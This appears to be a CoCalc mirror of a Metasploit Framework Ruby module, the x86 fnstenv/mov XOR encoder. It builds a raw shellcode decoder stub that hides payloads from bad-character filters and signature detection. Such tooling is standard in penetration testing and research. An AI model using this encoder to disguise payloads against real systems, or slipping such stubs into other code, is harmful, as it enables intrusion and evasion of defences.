CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/x86/fnstenv_mov.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Encoder::Xor
7
8
def initialize
9
super(
10
'Name' => 'Variable-length Fnstenv/mov Dword XOR Encoder',
11
'Description' => %q{
12
This encoder uses a variable-length mov equivalent instruction
13
with fnstenv for getip.
14
},
15
'Author' => 'spoonm',
16
'Arch' => ARCH_X86,
17
'License' => MSF_LICENSE,
18
'Decoder' =>
19
{
20
'KeySize' => 4,
21
'BlockSize' => 4,
22
})
23
end
24
25
#
26
# Returns the decoder stub that is adjusted for the size of the buffer
27
# being encoded.
28
#
29
def decoder_stub(state)
30
31
# Sanity check that saved_registers doesn't overlap with modified_registers
32
if (modified_registers & saved_registers).length > 0
33
raise BadGenerateError
34
end
35
36
decoder =
37
Rex::Arch::X86.set(
38
Rex::Arch::X86::ECX,
39
(((state.buf.length - 1) / 4) + 1),
40
state.badchars) +
41
"\xd9\xee" + # fldz
42
"\xd9\x74\x24\xf4" + # fnstenv [esp - 12]
43
"\x5b" + # pop ebx
44
"\x81\x73\x13XORK" + # xor_xor: xor DWORD [ebx + 22], xorkey
45
"\x83\xeb\xfc" + # sub ebx,-4
46
"\xe2\xf4" # loop xor_xor
47
48
state.decoder_key_offset = decoder.index('XORK')
49
50
return decoder
51
end
52
53
# Indicate that this module can preserve some registers
54
def can_preserve_registers?
55
true
56
end
57
58
# A list of registers always touched by this encoder
59
def modified_registers
60
[ Rex::Arch::X86::EBX, Rex::Arch::X86::ECX ]
61
end
62
63
# Convert the SaveRegisters to an array of x86 register constants
64
def saved_registers
65
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
66
end
67
end
68
69